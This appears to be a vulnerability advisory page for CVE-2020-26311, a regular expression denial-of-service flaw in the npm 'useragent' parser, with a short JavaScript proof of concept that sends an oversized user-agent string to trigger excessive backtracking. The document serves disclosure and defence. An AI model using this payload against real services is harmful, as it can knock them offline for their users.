EUVD-2026-198064

fkie_cve-2020-26311

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no patches are available.

GHSA-mgfv-m47x-4wqp — useragent Regular Expression Denial of Service vulnerability

Affected: npm: useragent

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

## PoC ```js async function exploit() { const useragent = require(\"useragent\");

// Create a malicious user-agent that leads to excessive backtracking const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

// Parse the malicious user-agent const agent = useragent.parse(maliciousUserAgent);

// Call the toString method to trigger the vulnerability const result = await agent.device.toString(); console.log(result); }

await exploit(); ```

Most recent entries from all

EUVD-2026-198064

fkie_cve-2020-26311

GHSA-mgfv-m47x-4wqp — useragent Regular Expression Denial of Service vulnerability

gsd-2020-26311